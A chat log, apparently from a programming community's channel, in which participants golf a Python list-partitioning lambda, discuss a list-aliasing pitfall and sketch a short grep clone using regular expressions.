>>> f2(lambda x: x>0, [1, 2, -3, -4, 5])
[[-3, -4], [1, 2, 5]]
seems so
may be "backwards" depending on if that's important
you could add a [::-1]
small improvement,
lambda f, l:(o:=[[]]*2,[o[f(x)].append(x) for x in l])[0]
that doesn't copy the inner list
oh yeah that's a problem
ah you're right
also in golfing, since the condition f is only repeated once you could inline it rather than passing it as arg
yeah, you are unlikely to actually have this be a full function in most golfs
walrus operator is so OP for golfing lol
shorter way to reverse it
lambda f,l:(o:=[[],[]],[o[f(x)<1].append(x)for x in l])[0]
true - in golf context you could likely negate the comparison anyway
lambda f,l:(o:=[[],[]],[o[f(x)].append(x) for x in l])[0]
lambda f,l,o=[[],[]]:[o[f(x)].append(x) for x in l]*0+o
```very minor improvement
lambda f,l:(o:=[[],[]],[o[~f(x)].append(x)for x in l])[0]
😎
sneaky
i forgot about ~ lol
nice
that will fail after multiple calls to the function
ah, good point
i think that's as short as it can go
What do you mean by hook an operator? Do you mean globally or just on a specific type?
One character save
lambda f,l:(o:=[[],[]],[o[~f(x)].append(x)for x in l])[0]
lambda f,l:(o:=[[]]*2,[o[~f(x)].append(x)for x in l])[0]
no
already discussed above, not valid
we went through that already
why not
oh I see
!e
l=[[]]*2
l[0].append(1)
print(l)
@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.
[[1], [1]]
python moment
l[0] and l[1] are the same object
mhm
technically function definition is shorter (no assignment necessary)
def f(f,l):(o:=[[],[]],[o[~f(x)].append(x)for x in l])[0]
in that case you need to return
ooh i have an idea
for something to golf
though it's not a short thing to begin with
why not golf a (naive) implementation of grep
ooh
basically, given a regular expression and a list of filepaths, print all lines in the files that match the regular expression
if you want an extra challenge, do it without a regex library
though that'd be. a lot harder
import sys,re
_,r,*s=sys.argv
for f in r:print(re.match(s,open(f).read()))
not perfect
the output will be weird
<Match object ...>
you have it backwards
hey
n0ob0b0b0bb0b0b said to me
golfing is not about the shorten code is about the shorten code in bytes
is that true?
you're doing for f in r
r is the regular expression, *s would be the list of files
whoops I see
t=input();print(''.join([chr(ord(i)-32)if 96<ord(i)<123 else i for i in t]))
this is golfing
but this no?
t=input;print(t.lower())
import sys,re
_,r,*s=sys.argv
for f in s:print(*re.findall(r,open(f).read()))
is better
the first is esoteric, the second is golfed AND esoteric.
i love you!
hey sawbeez
hi
i dont think that's the intended behaviour
re.findall docs
Return all non-overlapping matches of pattern in string, as a list of strings or tuples. The string is scanned left-to-right, and matches are returned in the order found. Empty matches are included in the result.
my friend
hwo would you do this without use importing
a = "AGTTTTAC"
char, amount = "", 0
c, counter = "", 0
for i in a:
if i != c:
c, counter = i, 0
counter += 1
if counter > amount:
char, amount = c, counter
print(char, amount)
oh yeah I was talking to herald
so we want matchall?
or equivalent
for me this is too ugly to see i did it yesterday because i didn't had internet
this code doesn't look like it imports anything
the intended behaviour is something like this
import sys,re
for f in(sys.argv[2:]and map(open,sys.argv[2:])or(sys.stdin,)):
for l in f.readlines():
if re.match(sys.argv[1],l):
print(l,end="")
yeah this doesn't import anything but my question is how would you do "print the longuest letter and amount in sequence repetitive"
for every file that's passed, loop through each line in the file
if the line matches the regex, print it
and if no files are passed, use stdin
im pretty sure this can be golfed a lot further but im super tired so im gonna go sleep
yes it can
have fun golfing, gn!
no
are you busy?
